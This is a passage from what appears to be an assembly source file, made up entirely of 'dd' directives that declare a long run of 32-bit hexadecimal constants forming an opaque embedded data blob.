0A711C11Fh, 4903A166h, 0D7457867h, 42029806h, 2FEC026Eh dd 187C21CBh, 1220E37Fh, 3003A8B9h, 0F2654964h, 2EE74006h dd 501D8Fh, 0D54B4CE9h, 0FEC18E12h, 0E0EA5B00h, 0DBD96B73h dd 0E9010047h, 0AA7FA6FCh, 6C008FC9h, 43DC4424h, 0EFB6776h dd 88EAE173h, 4F20F0ACh, 28E08E07h, 0C6201880h, 3DB45A9h dd 1160AAA7h, 0DEA0F97Bh, 0C00761F3h, 23BF7F39h, 7C0A46E0h dd 99380073h, 3D20AD1Dh, 4200CBE8h, 575352D6h, 135A10AEh dd 14DBF0h, 3270AA90h, 8100A95Eh, 0DA3A9058h, 0B7D70B7Fh dd 1C3C6178h, 0A74A00BAh, 1C5E145h, 2BEE0EBh, 0AA8B6A84h dd 3449EA19h, 0F945E6h, 67B02781h, 0E8007B42h, 0AD50027Fh dd 0A7954h, 46921455h, 0AADBB58Dh, 82A17400h, 0E8CEB821h dd 1161000Ch, 50C2EB62h, 360029F9h, 5B44F7D6h, 0BB73E5h dd 648E2EDFh, 2FDEBE49h, 3AEE4DEEh, 60AFAC13h, 3F0AEA0h dd 5E0DDA03h, 6E904939h, 5C1F6D4Bh, 1A80EC2Dh, 2ABECFE2h dd 0DFB102A4h, 773A83B5h, 0ACEA3A60h, 0FC1CA04h, 38D04D27h dd 7F6963h, 0EBC6F5BCh, 0FABEAC97h, 0A0A0DEB8h, 0F402F9F1h dd 0E2638F87h, 986443D4h, 2B1AB5Ah, 0FCAD2482h, 74680384h dd 0F37BE225h, 7A2AAE03h, 3BD4E16h, 0FD7D418h, 5EF9AF88h dd 0E491DD61h, 39C0058Eh, 0DAA83072h, 0C0B8E80Ch, 0DE690699h dd 0CE002262h, 45A86D5Ah, 2EF214E6h, 0E834AEh, 6359FEF7h dd 7C02D643h, 0B2CD7471h, 9BC46012h, 483F75F8h, 0A8002C5Ah dd 6C42077Ch, 3D305961h, 0BE777A0Fh, 78B9A0EEh, 72460053h dd 0F8524286h, 0D700043Ch, 0B42CA232h, 0E6D32829h, 8FBC0167h dd 0A6C6F102h, 0DFE7D0D5h, 5F63400h, 0CC2A235Bh, 2FE53C21h dd 0AE0020C8h, 0C316A187h dd 61008571h, 790FAFBBh, 0A69546h, 7531E625h, 30E73C8h dd 18A56F00h, 3CA7A222h, 0CB9C3FBFh, 0C7C600F9h, 4E10983Eh dd 0BD07F84Fh, 0BC3B952Ch, 0CE56006Fh, 12A681F5h, 23B98716h dd 0BDE21150h, 8C647460h, 31645658h, 548A5A26h, 47BCA0E6h dd 1DBE9610h, 0C128825Bh, 80B331ADh, 0F0FC3126h, 38178E20h dd 1C00F493h, 0EC55F836h, 0FE1D0E58h, 61A0C360h, 0A4D6E82Dh dd 3B0073B0h, 0DFB307A0h, 7E9996Eh, 5665C3EFh, 0F93CC01Bh dd 941F093Dh, 34806875h, 13D28395h, 1B290086h, 43B0B7A2h dd 800DEA5h, 66FFD08Bh, 3AE8F314h, 0F180A92Fh, 1B3821Bh dd 6326A0E2h, 0C7006CD4h, 0F344FB36h, 0B4BC045Bh, 0A20C0Ah dd 4F86744Eh, 3D7795h, 325E17ABh, 0D17B727Dh, 8FED6700h dd 0C3EB0BCEh, 0AF65001Ah, 0A1F936D7h, 0D9B0010Ch, 0B7022B76h dd 9BC24E69h, 40F04219h, 3AC7E998h, 0B904EBF4h, 0D076BB91h dd 14611FA4h, 7F858003h, 0A38D727Ch, 16D4A081h, 9980E7CFh dd 0BF9FBC8Ch, 0B71D960Dh, 3300ED89h, 9AC737F2h, 28BD7CC3h dd 18CA16h, 0F427E745h, 819FB58Ch, 71698230h, 7BBEA1h dd 777F257Ah, 0B79F12BDh, 2621FA14h, 84790008h, 727A7F1Dh dd 0D01628FFh, 59DFF22Ch, 1800009Fh, 904EFE3Ah, 37303524h dd 0F9C98014h, 6BC2001Fh, 457E984Bh, 0C0015BCh, 39B090B5h dd 3FD3D5h, 1957AA63h, 0ED2CD1AFh, 91231600h, 0FDE0AB24h dd 0A9BF1D5Dh, 3A5C019Ch, 607D1068h, 0E3006E18h, 6CEA5583h dd 141D715h, 5A20F5C1h, 0F0C2FB61h, 0E4007AFAh, 43B4E312h dd 314F51h, 0B96C646Bh, 41AC86DCh, 0EAB34Ch, 0D7590C65h dd 1F279CF2h, 79164AEh, 63014357h, 77B09903h, 0D872F063h dd 0A76A401h, 0BE7ECB3Bh, 1B850EAh, 0D5911ABh, 606A8D4Bh dd 4D00B4E0h, 6518B12Eh, 554806h, 0DBBB4180h, 1582DDE3h dd 0B1F5CC00h, 24AD96C7h, 0D4E9002Bh, 60AC5E7Fh, 174885BEh dd 58F1049Ch, 0B8A04F52h, 0A0DC1780h, 0C75040DBh, 8676F603h dd 4A6FFE00h, 0D1532D67h, 8F4B0097h, 99B23DFh, 0FC007142h dd 646E9FE1h, 0B25BC6h, 682A1AB8h, 6959645h, 4773CE0Eh dd 3E642062h, 2EFD44Ah, 12F0E3E9h, 0DB800743h, 5AEE7226h dd 0DFB7DD0Eh, 5168E78Ah, 0AA336051h, 0B526D862h, 105400ECh dd 0B0B33FC5h, 9A01ECB0h, 218075CDh, 5A60D4C7h, 51EC66h dd 7D410FDEh, 126E149Fh, 2600B87Ah, 4A816DC0h, 0EEBF300Dh dd 2C221E36h, 7461C03Ch, 0DA938078h, 0B6730130h, 498C2585h dd 0C4004CE6h, 5C48CBE3h, 94A8E7BEh, 0DD12EA1Dh, 98818525h dd 0F61010D0h, 0B300D4CCh, 0F83D42FDh, 0B5BA89h, 3AA310CAh dd 494F8B30h, 1DFD9C00h, 0C1792E3Bh, 0C6FE005Bh, 10E89ADAh dd 111EE34Ch, 7D47A14Bh, 9B43EFh, 7C248417h, 8D70069h dd 0ACB1C13h, 3B01CAE9h, 0AF419149h, 5FE0D935h, 5ECE12F2h dd 4A0C409Ah, 0B0DEE0C7h, 3D133800h, 0A1739E87h, 358A00F4h dd 406AC432h, 0C5001F1Bh, 0F171A818h, 74C1D183h, 3079F499h dd 28F9AAA6h, 7D0E2BD4h, 0FF71CDh, 0E05ECF13h, 0F03458B3h dd 0DC35C00h, 0E27976AEh, 0AC2F9A28h, 0A9D62004h, 0C580ABA4h dd 5B01AE4h, 0E2B4F85Bh, 0EDA004FDh, 34E4C022h, 98995D5Ah dd 0C1E3D00h, 4A07DC83h, 80E027BDh, 0F03B01BCh, 0D1A7F300h dd 89E32974h, 9E9100D5h, 2A3CD430h, 0B072E87h, 7842AB1Eh dd 1DEBF3B0h, 810A07AFh, 0A0DE5A46h, 9AF0DBEDh, 0AE6238h dd 1EB2572Ch, 264EA33Bh, 0B31123h, 0E6CA1F03h, 749A316Ch dd 407D800h, 0B7C5C01Bh, 4A5102E3h, 33B8D4E6h, 0C0DF94A4h dd 9A74EE2Eh, 1548D001h, 216016E2h, 1342DFDFh, 946DE05Dh dd 83AE0549h, 0C04442BCh, 0DF1133B2h, 0DC645F1Ch, 9A80586Eh dd 3EEFD679h, 0D83B01DEh, 64896D45h, 0F28070ACh, 7AC2B40Ah dd 9E809CFAh, 0AD2DD9E6h, 557ACFh, 3FEBBA71h, 7EFDC751h dd 1B862B00h, 9CB83913h, 0B9342C74h, 16378EC0h, 0D79E0962h dd 58051E63h, 0D2EE5E92h, 0C8BA78C0h, 11601D55h, 3B0DCFAEh dd 0D590C23Fh, 0E4428B97h, 0B20C34C0h, 0A768700Fh, 922DE089h dd 3F11E46h, 0F68E8CC8h, 65F88287h, 0CD00B820h, 22AB0996h dd 163DE1Eh, 0B7818631h, 80D908ECh, 68D2F551h, 3BF803h dd 0A00EC454h, 0E071C004h, 0BD8D20C0h, 3D275Ch, 0CDCCA712h dd 68F0B854h, 80E2503Ch, 9BF7CB45h, 17BB7648h, 14E50BD9h dd 0EB0AD849h, 5CC18EFh, 565A4383h, 4EC0084h, 0AF67C2Fh dd 826AC0CEh, 8078056Fh, 0BB2A99E9h, 0A3B0ECh, 75C193A7h dd 9F46B08Ah, 644AAE00h, 0FBDCEFB9h, 0F7CC000Ah, 333F57FEh dd 36001C62h, 0B4DDB077h, 4D280FC9h, 2E1E1C4Bh, 422ADDCDh dd 0AE8EB7F9h, 0F00C2441h, 0C5046D89h, 56EBA94h, 4BA53090h dd 0AE723F85h, 379FE282h, 0B0E0BF7Ch, 5D010DDDh, 715DEF4h dd 19801F8Ah, 0AC8594F6h, 8D908718h, 0DBF3D403h, 0D453E8A7h dd 36D6C90h, 0BF48025Dh, 0DDB81BA4h, 0C7BB4048h, 0B53ADA00h dd 36045C68h, 99D07BAh, 10D60F21h, 8E84B363h, 4B0707E0h dd 7DF7D381h, 308AFBB0h, 9AA03A39h, 0BB730C80h, 3DF7BF9h dd 0BE264401h, 4F4393CFh, 901A828h, 9907A6D4h, 0FC887155h dd 9558E666h, 657C0080h, 8C2A20D7h, 4D0D482Dh, 21CF0074h dd 0A0A4FEFCh, 8F00C90Eh, 2583C11Bh, 7C513FBh, 0D6A51FB1h dd 300FB05Dh, 820121A3h, 6280CEC2h, 31D05122h, 34070AFAh dd 2490E603h, 668038D0h, 765246C8h, 0CD70DB25h, 0C3196302h dd 407C3223h, 38E4643Ch, 0ED0040CBh, 1E91F9A5h, 37767F19h dd 9896A4A0h, 0FD0A3Bh, 22728F52h, 949A2EE2h, 0DAE84014h dd 67038CEAh, 0E69831B5h, 4A9F83Fh, 7C8E01D9h, 53886A9Eh dd 0F373D066h, 90004FFAh, 0B2CAB3CCh, 1E2050Ah, 5E3EB8C2h dd 0EC110162h, 0FD00A8BBh, 0C18FDBB7h, 38F33AFEh, 0AA820733h dd 34886B37h, 89106560h, 4ED938h, 0E9A566E3h, 2AD8E56h dd 6D1AA448h, 11C03273h, 2D02BDD8h, 0B55646D5h, 8074CAC6h dd 322A60C3h, 9A080077h, 4B89A396h, 0A612F3D6h, 748B7FA5h dd 9F5D8CA0h, 96358902h, 68D59384h, 34EFA74h, 4A34147Fh dd 9807779Eh, 40FE321Eh, 28A3B044h, 1CA81614h, 758E885Ch dd 0D1877E80h, 0D007332Ah, 1538AC2Fh, 0EA0F11D0h, 0E6EA4Fh dd 91A7F08Bh, 7E37C8F7h, 7ACAEF00h, 785B6B1Bh, 34B80344h dd 467145BBh, 0F4F93AE9h, 0C0002159h, 0F5B3FBABh, 12CBF776h dd 0BC627FCCh, 46396156h, 0C9F8E97Ah, 8C4A03FBh, 590972B7h dd 56E0EFA2h, 0B61D1B92h, 0AD003B45h, 0E3FBCA01h, 0AD4006Ch dd 0A5600841h, 0CB003896h, 20D0F518h, 766B92F0h, 2FD20031h dd 814FD85Dh, 0EA00F4CAh, 9943C907h, 4A8DDFh, 73E1BE83h dd 2FA4B392h, 67D92B00h, 5C175976h, 0BE490015h, 0DB4C13F9h dd 6400B7ECh, 93C9589Dh, 14B4A99h, 7BFFB66Ah, 6082C171h dd 42030158h, 369687F7h, 0A4DBF802h, 0E55E27E1h, 0A100B3F6h dd 2B6EB59Dh, 49A30420h, 0C065114Ah, 63D51687h, 30C43707h dd 0FE818B95h, 0B3D42948h, 5B4505C1h, 39385DAh, 0F278A98Ch dd 0C084D0B8h, 0BD44A707h, 213066C7h, 0F8D55E5Fh, 43910036h dd 47756FDAh, 2D0074E4h, 1D1FD17Dh, 0F28372A3h, 0D4EC000Ch dd 766C4A50h, 0B000BEFFh, 4C88C270h, 1E1803Eh, 5A0575F8h dd 0C09B91D9h, 0DE00EBD3h, 2477B54Eh, 289FB2h, 0F0C81673h dd 1C60DC0Bh, 97F8A27Dh dd 0F87A6700h, 850148C9h, 382D0357h, 5C9D9E35h, 5606CDA8h dd 7F540400h, 682029B8h, 185100ACh, 776DA812h, 2500F2D5h dd 73392452h, 1B38E4h, 175FB815h, 0B1FE1DF8h, 507933F0h dd 9D00077Fh, 0F24C48E9h, 6FCA0Dh, 0A3A4ACCFh, 2A1BC9E6h dd 0FFBB8603h, 6EA57F1h, 0D117BCB8h, 4400481Ah, 92CE72Ah dd 78ACE48Dh, 3ED81FAFh, 0CCA1C7BBh, 4D2B8013h, 730051B5h dd 87094B54h, 4978557Dh, 19155CD3h, 3C009C89h, 0B1FBE8A1h dd 0C0E0E312h, 0FE3B1B00h, 0DA7A6AB5h, 285100A3h, 884BDF5Ch dd 0CB90AAACh, 0ED28D1EAh, 0A101F032h, 557EF4D6h, 6180F23Eh dd 4B418F23h, 6300658Bh, 93039436h, 5CD6ECh, 7B70A22h dd 2734127Fh, 0BE26E939h, 0A26780C2h, 0A16D4DB3h, 1659EC1Ah dd 0E30C50Bh, 0A840389Ah, 0E6BE0E8Ch, 1491D80Eh, 9377C0C7h dd 792F359h, 4D897245h, 0E5FDE0B4h, 5F0078C6h, 0B17CFB82h dd 0FA2D5BDDh, 0ACE685h, 9B35498Dh, 0B6D79C41h, 0B900E090h dd 39A1787Bh, 9DE48Ah, 77F6D1Bh, 3E630DE7h, 58DEB226h dd 98E96F0Ah, 0B381EE00h, 3B6B21BBh, 0B80D8EBh, 63D3704Bh dd 0F73F49B6h, 0FD7A89E0h, 0C78ED545h, 97348980h, 814C60D1h dd 0A7B30018h, 6756A555h, 0E48B0332h, 209E2F37h, 6AD98A0h dd 1881303Eh, 0C1B16E66h, 72E2A4h, 0C4554D23h, 2BD5BCFAh dd 6B5443Ch, 410F5ED2h, 0E38C28D0h, 7D970298h, 0C766FB8Dh dd 0D8338848h, 6C003DE2h, 0EE12453Bh, 3AD0894Fh, 0B5800F81h dd 0F5B9B601h, 0D31D34D5h, 82C3F8E0h, 0F084BD9Fh, 2C3D4Fh dd 5B874B58h, 0AE79F6A2h, 18F28801h, 152B78A6h, 2C0FBFDCh dd 0E031770h, 2AA172ABh, 0CC3F0D46h, 0F90065B3h, 1A55D131h dd 61D697h, 4A59F434h, 845736FEh, 9942F501h, 0EE04ABA8h dd 77B7D4h, 0E4D672ADh, 94EA1D13h, 4EFB4112h, 0FA320C00h dd 0E762D0h, 309D5C86h, 1E8DF850h, 0CD572400h, 85702143h dd 0F769009Ch, 0AF44C0F0h, 88000F06h, 924FD2F6h, 0FC826E2h dd 0A54EF28Bh, 83A9F4E0h, 7B2EA465h, 3700D897h, 0B19F9B2Bh dd 0B4EF007Dh, 1E632EF6h, 7001AEDh, 1F5412Dh, 3AEDA6Fh dd 5F56FFFBh, 0E5B04738h, 1900BC22h, 0D5081C43h, 1CE2B866h dd 1853290Eh, 0DA16986Eh, 25D11B00h, 8A31FD80h, 172A0047h dd 7AF39FB3h, 0E900BE6Eh, 4188DFEFh, 5627CAEh, 0A75A08CCh dd 22A00064h, 0CDF84BA9h, 12F1A800h, 168C15FEh, 340A007Dh dd 0F07EB09Bh, 63003D86h, 0F7184BD5h, 0E53C77h, 74F223A9h dd 0B434C41Ah, 1B2EAC07h, 65B0F5E9h, 1E183D5Fh, 40A54182h dd 0FD97B53Ch, 26610C02h, 1CD3D778h, 0E858E560h, 6508006Ah dd 3651856Bh, 11C079F0h, 405A1F8h, 2BEF00E1h, 0AB70FBA2h dd 7C00E05Dh, 0E5791F12h, 7E05605Fh, 40CA0072h, 51B709A7h dd 0C0242F98h, 0BF0324A0h, 0C02CE676h, 24DFD6BDh, 80208BDBh dd 0D112EF0Eh, 0C90AFAE5h, 0ED7BAFD3h, 4A6ABB00h, 38A2C0h dd 4474D505h, 0B7B5EA0Eh, 78459E0Eh, 0F0ACA0DDh, 0C677D3h dd 0B95C8C8Fh, 97CF0675h, 10149400h, 253D4BA8h, 4A77006Bh dd 1BEEF4E1h, 531FE712h, 3500DE08h, 313A2B0Fh, 54CE0739h dd 438BA495h, 75F8CFF7h, 78134A64h, 0F200AD38h, 0D0025B8Ah dd 590A00D5h, 0F7550B9Bh, 2A0023ABh, 0B89FDC34h, 1E295Eh dd 0A218C08Ah, 63ED5DBh, 92C44C00h, 9AB8481Fh, 0A0D0EEEEh dd 3A8E71Ch, 0F7C7B38Eh, 2DA85BA3h, 790042E3h, 7DD90F54h dd 0EEF0A006h, 4BC50016h, 7A382F29h, 1D00E47Fh, 9518DFFDh dd 7A0BAC0h, 0D5C5A321h, 8D10F024h, 0CFF8A56Dh, 1663EB00h dd 4DC99987h, 8C0C00DEh, 6E985474h, 0BD580DB2h, 315380Fh dd 36B00203h, 0DFF9D0DBh, 748207A9h, 3744D447h, 90F3701Bh dd 6C00AC89h, 0BC99ADDDh, 74A6F98h, 0B11E79B7h, 3CC5B0EBh dd 8600E487h, 1A7D5E27h, 71E5C817h, 0BBD50088h, 32AAD850h dd 0C7605BD6h, 0A5F2DC18h, 0F8FC5A19h, 2B0C07CCh, 1690626Ch dd 13BA40F5h, 7BC1E2h, 683848E9h, 0AC01C689h, 0C3807CFEh dd 80D73124h, 0F01EBAh, 0F507206Eh, 0FCE9499Dh, 9F13E600h dd 7910EEB6h, 602700F1h, 457022B8h, 91032E63h, 9251C750h dd 1244E813h, 3074ECh, 0B5F1E8EFh, 0E065ABC9h, 754FE407h dd 0A02013FAh, 702D2Ch, 938FB20Ah, 0AC6AE3EBh, 0CB754805h dd 0F7C0164Eh, 13D726Bh, 925B0743h, 31BBBF9Ah, 5A006F0Dh dd 6F0F3EDFh, 9FCC18C7h, 576460E5h, 60486B3Ah, 58A75470h dd 40B00065h, 83F4135Ch, 4B60A367h, 0F7C2521h, 55A60050h dd 9C24C82h, 0FDE85C84h, 186AF637h, 7C03C87h, 242B4C95h dd 3D920838h, 57731303h, 101E3D62h, 0E2816E6Fh, 0B1C531DCh dd 18148ECCh, 408601A2h, 54604ED4h, 99CD0B50h, 0DA69CE51h dd 491F48E0h, 1D2C7E2Fh, 0A2186177h, 77275028h, 50D16B97h dd 40526207h, 51E1CDEAh, 0C8AC6407h, 74E10A6Ch, 0C608DE3h dd 5AB40F5Fh, 7960AD1Dh, 130E50FFh, 9F75AB00h, 1F3DD07Ch dd 0FA1E002Fh, 2DE139C4h, 0AB00030Dh, 88653F55h, 0D58942h dd 1C6A3B5Ch, 2C74EE2Ah, 6600EF79h, 3F68C054h, 0A8F7FCAAh dd 0DA759Ch, 8C1CF524h, 38CE2352h, 0E77BD4F5h, 819A1D3Ch dd 0C5214882h, 6560A42Fh, 0AEF500C2h, 3F6F53C9h, 0A300A825h dd 0D7CB12E3h, 1C71C0FFh, 19693h, 4AE24DC1h, 7C4C1787h dd 1E1F7FA2h, 51C018D5h, 8326A4BAh, 15E092h, 8D72AC3Ch dd 7B5470EEh, 0FC216C00h, 0E9E4DA91h, 0BA5D3FE7h, 0C2403280h dd 3AA253F3h, 0B5BC0601h, 0FF2BDD26h, 0EA3CE8h, 0CAEB24BBh dd 3076CB50h, 0C4BA4800h, 9FC5991Fh, 0C85C07E8h, 70224293h dd 0B5169D3Fh, 80A2B33Eh, 0A781890Fh, 1932E2h, 59DD6F0Ah dd 9111CB63h, 0A8620200h, 9C09E840h, 0EF5EE1Ah, 0F7519BD9h dd 0F0802BE0h, 7B0FD52Eh, 772E7FAh, 27053D7h, 60E8D96Fh dd 696B60E9h, 3301CBFEh, 593EB134h, 2880D819h, 0B0FC4F73h dd 4309EB3Bh, 20860A5Ch, 0E6A1596Ch, 7EDE011Ch, 0DA04D05Eh dd 0DBC8E320h, 8E00BD32h, 3FC744Dh, 3E1AA0D2h, 0B0DB52Ch dd 6150A870h, 8F5C5080h, 400C9613h, 90731F27h, 0C5A13CFDh dd 785C854h, 82ED021Eh, 887580D2h, 5F026F73h, 0A92F1B93h dd 522E0BCh, 950F011Fh, 0C3322762h, 43C080D4h, 0C8B1F730h dd 9A7C39h, 9E7EAEF9h, 3AF645Dh, 531E46F2h, 0BFC07995h dd 3DBA5072h, 0AD6300C6h, 0AB60C4B8h, 4600E3FEh, 69278C2Eh dd 3F5D378h, 11170E0Ch, 0E8B0846Fh, 1D007D40h, 8550E270h dd 0DA7E15h, 0F890F628h, 10867253h, 0A0007C74h, 0D3BDF00Ah dd 3CA2843Dh, 0B183749Ah, 0E1FA9835h, 0B9124800h, 0B3BFD115h dd 5F930017h, 1DB237D4h, 684C133Bh, 6100756Eh, 29B85BECh dd 54E97F74h, 0E8CCA2h, 0C8532563h, 6B73FA4Ch, 0BC889700h dd 490A72A0h, 0B80F0E76h, 8461B7ACh, 0D00DBEABh, 5CE4D6ECh dd 0F760E114h, 0D30175D8h, 613FD275h, 0B9E85228h, 818801E0h dd 590E0BB5h, 21B3C4C4h, 6A101500h, 85734DF3h, 0BA831C01h dd 0ECFE8AB8h, 0DE7E00A8h, 0A55E9154h, 510D9900h, 5D888F71h dd 4AE33EDAh, 0ED821180h, 284BF131h, 70C9FF00h, 42D73C32h dd 756E1E66h, 0EEBEE896h, 0FAE0309Dh, 5BDF4C58h, 2487B224h dd 0B935A080h, 0A10948h, 0C62B291Ah, 5F12D1BEh, 0AD00A8E6h dd 6DF1D0C1h, 5B6072D6h, 0CA938081h, 100E7159h, 80C2E680h dd 8ECD5F6Bh, 0CE7A007Dh dd 0E7890DD1h, 57E223F1h, 0ED1D2F02h, 80D70BF3h, 34BF2694h dd 0B566240Dh, 4EF7086Ch, 9712D586h, 623F3D74h, 5E9158F6h dd 0B42D2300h, 3C464125h, 0D5355F04h, 10C026BEh, 0DB701Ah dd 0D31DC889h, 0AD0474AEh, 2DA23D00h, 9A4FE92Ah, 0C4121F22h dd 7C5700A6h, 0FD65DDBFh, 7B33C0Fh, 4CE0E076h, 0C6C703h dd 0FCFF11B4h, 8463657Ah, 0DD879706h, 11565Eh, 14891E3Ah dd 5999280Ah, 0C6E76E00h, 231AAC24h, 567100BFh, 69EBCD85h dd 0F6E80A86h, 82A35E0Eh, 6BDA0090h, 15825D4h, 0CE3360E3h dd 7152EA4Bh, 48FDD0FCh, 0A2A03700h, 27BF5BFCh, 3DB10F18h dd 1C06AC5h, 1FD9A7A5h, 8D405403h, 0D564ED26h, 0AAC39C1Dh dd 6FABD6h, 1A02BE28h, 81A76259h, 0FC93EF02h, 60D98DAAh dd 604780DCh, 0B1A3284Dh, 0A3BA270h, 0EA4901C7h, 53EB39FCh dd 0E35DF0h, 44320974h, 0D882776Dh, 31129300h, 599B02B5h dd 7D4A0170h, 0FFC538AEh, 41B8FB26h, 0B713DB61h, 8C003420h dd 6FE5F771h, 0CC571218h, 17B840BCh, 65F1F40Ch, 9C87FF3Dh dd 2642384Ch, 6304105Dh, 546ED060h, 117C6939h, 19A8AD00h dd 60008B3Bh, 159707CBh, 34FCDAFAh, 80C22A56h, 65BE81A9h dd 82704A38h, 0BDEDF303h, 0ACC9E3F0h, 14C08084h, 11C4712h dd 696ADF63h, 807C3C3Eh, 0EDC08599h, 7335D0Ah, 6667FAEEh dd 0AD79805Fh, 715815C7h, 9F4868h, 3226822Dh, 934FFB3h dd 6341AFB9h, 5AE61000h, 6057EC3h, 50BABFF2h, 7302ABC0h dd 68A51F65h, 806C5EDBh, 0BF1F7477h, 68B0971Ch, 51F2FC00h dd 92407228h, 38E685h, 0FB6265A5h, 54FA80E0h, 35962B00h dd 0BE29E78Fh, 876A1382h, 0B64E00F2h, 0CAC9014Eh, 80AEB43Eh dd 0FF1DED75h, 269F88h, 5146C748h, 0C66DEE37h, 8070F200h dd 4A3936FBh, 0C2D60099h, 27E6317Fh, 6F1C8CC4h, 0BE00A674h dd 1BDEA807h, 9BF5164Eh, 919105F3h, 5FDA00FEh, 0AE32A234h dd 861EA00h, 9D72B4Fh, 0D22900C2h, 0ACD10195h, 0DAF097D8h dd 9B48F607h, 0C020E162h, 3F58332h, 34375B94h, 0E990057Ah dd 4400BE41h, 78EA3F5Eh, 2A4B25h, 8A37797Fh, 2C97591Fh dd 3D4FA412h, 0B5AF1400h, 7EFC8BCh, 4DD665AAh, 0E6FFA094h dd 0C50726B3h, 618DE70h, 0DB8A9DC0h, 0E2E073Dh, 70342886h dd 4E902709h, 0C2A8D404h, 0B8801641h, 5902CBE6h, 0DB00B4F6h dd 0BC31BB36h, 0DF00D2F9h, 8CE0E19Fh, 1E86397h, 4F96CFC4h dd 0F4708499h, 5200CE5Dh, 8B4EE275h, 2E9782Bh, 841A0929h dd 70E8D04Ah, 0BD0056ACh, 60F22101h, 8E8595h, 25DFB9F3h dd 0C5405A94h, 8179323Ch, 4C7BBA6h, 58294BD4h, 51D07E0Eh dd 3C580E92h, 59237620h, 74057C2Fh, 0E3CF70DCh, 68D41005h dd 63D11C0Fh, 0DC7B731h, 0C3FEE308h, 0F059E118h, 0EC38D8BBh dd 1D770230h, 0E0CFB293h, 1AD015h, 6C86018Ah, 544ED6C2h dd 0F792718h, 4937A49h, 741F6A9Eh, 30ACA389h, 0C7C120C5h dd 9450F803h, 82A04CB8h, 9C2641Ch, 6CB307F8h, 0EA20520Ah dd 25D8C9h, 0A75365F0h, 4D300990h, 55006198h, 8B97B502h dd 9D7521h, 0DDDCC565h, 5710CD7Eh, 0D1665200h, 8158A26Dh dd 77833C42h, 0E58195BAh, 0A953ABC6h, 0F60F034h, 4005FE00h dd 45C72F96h, 0FB4E0BB8h, 0A6009F39h, 57EFA646h, 0B838902h dd 40B0521Dh, 740A8EDh, 0B1AB5677h, 0F4980049h, 66001B36h dd 47082AE2h, 0F2FC432h, 0B4C10539h, 0E5041980h, 7607278Fh dd 40937815h, 657C8680h, 258B1D4Ch, 0A07DC077h, 397A6D43h dd 0B1C0D803h, 93E550FEh, 680EF278h, 1C762B4Ch, 43840FE7h dd 948C51C2h, 54F70824h, 0E77ECD80h, 43E354h, 0D06EEBB8h dd 0E0FA3B5Ch, 87DC0B05h, 0D880B5C3h, 2A07A5A6h, 90C84D63h dd 0B4961F94h, 0F31C3C7h, 83061CFh, 788E2138h, 0F9F7796h dd 0C783DA19h, 33F804A0h, 8F2E92A1h, 688C04B3h, 24493084h dd 8F405323h, 0A72C9FDCh, 210C6520h, 393430D4h, 8156411Bh dd 214F0BE1h, 5882FAFCh, 0A2CBA06Ah, 60065884h, 23B5966Fh dd 421189C7h, 96778D00h, 0D41BF5EAh, 0C7F33C00h, 311924ABh dd 8081E9F4h, 0FE830AFFh, 35A98B56h, 0DC5880B8h, 33A274E6h dd 4308CED4h, 0C0102100h, 7F26990Dh, 0E8E90D4Dh, 984933F7h dd 0DEB99458h, 9225004Ah, 0FD8D321Fh, 3F73F1B3h, 6ADB2A00h dd 0F3BB61BEh, 66E900C2h, 9C51C32Bh, 2800F2F1h, 0F072388Ch dd 0C475A7h, 5B1EC902h, 0D36FEABBh, 7D2BD600h, 0AACF8E09h dd 1FBC00AFh, 0E0FEBF46h, 0A001DDECh, 0EA696EA8h, 4DC4ED92h dd 135603ADh, 5EEFE8B5h, 0E5C010C2h, 2F0048BBh, 33FFAA68h dd 3B3DE042h, 8807446Eh, 9EFE7Ah, 0D0BCE327h, 42C0D700h dd 7823D1D9h, 246C0016h, 2A5FA679h, 5404AB38h, 0C10FACAAh dd 6F423A80h, 23BD1730h, 0D07A000Dh, 0E1C76838h, 0E003CE8h dd 54406C89h, 791C3A4h, 0A331B606h, 7166D0FDh, 0BE38A755h dd 0FCC000ABh, 0FE13D48Dh, 0C27D00CBh, 663BE228h, 0D7007E9Ch dd 1FC8FD18h, 1C2F21h, 0FA2AD8B2h, 5F3F6EE9h, 2C57B100h dd 89838EE7h, 0C2250051h, 78F0A3BAh, 76003F23h, 84DD7957h dd 7E1AB5h, 4015A031h, 2466904Eh, 7C555C00h, 230A10FFh dd 0BF470087h, 9A56D586h, 0B800AC90h, 0B2EA0F57h, 7D4B550Dh dd 2CBEEA2Ch, 0EFF8D6h, 7C875BBDh, 71F4042Dh, 0B952AD00h dd 8B7D2FE1h, 6329000Ah, 1DC2564Fh, 0F3005EA4h, 0B8CBAEF8h dd 1E3C49CDh, 0C0F963BFh, 4C1D2C7Ah, 5828C0DCh, 377EA01Fh dd 0D3652400h, 0CA542A40h, 43F1002Fh, 0F2B11DB2h, 0A3F1C6Bh dd 0AE798E4Ch, 0A099AFEDh, 0A334D621h, 7C7200BCh, 3AD05F06h dd 0FD16DEBFh, 44004AC0h, 7F2CC252h, 14E416DDh, 0D1ED0032h dd 693740EAh, 2033D701h, 0A2B22785h, 0DF7ADDh, 872DB690h dd 9DAAFAC7h, 28369501h, 669F095Bh, 4506A140h, 61AC0056h dd 87D5CDBAh, 480F348Eh, 1CF9154Dh, 0DD4B5C80h, 0C44D090h dd 14A2C8B4h, 0D7018768h, 68C5D66Eh, 0D5F47751h, 961505BCh dd 122B0F0h, 0EA2B0494h, 0BDF45088h, 7558130Eh, 3AB84089h dd 9EF6801h, 124E5C26h, 50D370h, 7F693B88h, 216C1006h dd 80DCAB39h, 0E351B508h, 0C015B65Dh, 5E243880h, 2C01F7E5h dd 97C5B70Fh, 0BC0189Dh, 0E1BA00E3h, 0F6A003A9h, 15002D94h dd 0AE368583h, 0B8AC691Dh, 0DEDF0334h, 7F6DF2C8h, 2138BF8h dd 5EFBCA8h, 97FCD5E4h, 0B0EDAC01h, 0CF7E0447h, 0EA21D4h dd 0A540E956h, 0E1EB633h, 793F090Eh, 0D38EB3h, 97FBEA13h dd 626706C1h, 90E649BEh, 0FD8EB00h, 9EDC8016h, 757B00DDh dd 1FDA58FAh, 47F0AD5h, 3C0EFB1Fh, 94380803h, 42600088h dd 1BFCB054h, 0F203BB55h, 586FF7B4h, 0C1590043h, 8E6739D2h dd 9501C25Eh, 0DF6FDA9h, 0FBE00A51h, 0EBDC0187h, 7ACFB429h dd 1BB4432Eh, 8C7C3A88h, 64000779h, 5D039556h, 11E02A52h dd 7BC76D1Ah, 246B1101h, 0FCF7F25Fh, 1B74320h, 0F56240E4h dd 9F361920h, 0A24AB0h, 6C76F5Eh, 77A44155h, 24307890h dd 5D3E8CB8h, 52EF0E9Ch, 0A20069D6h, 0A91BFFF3h, 0FD8C348h dd 32AE5F4h, 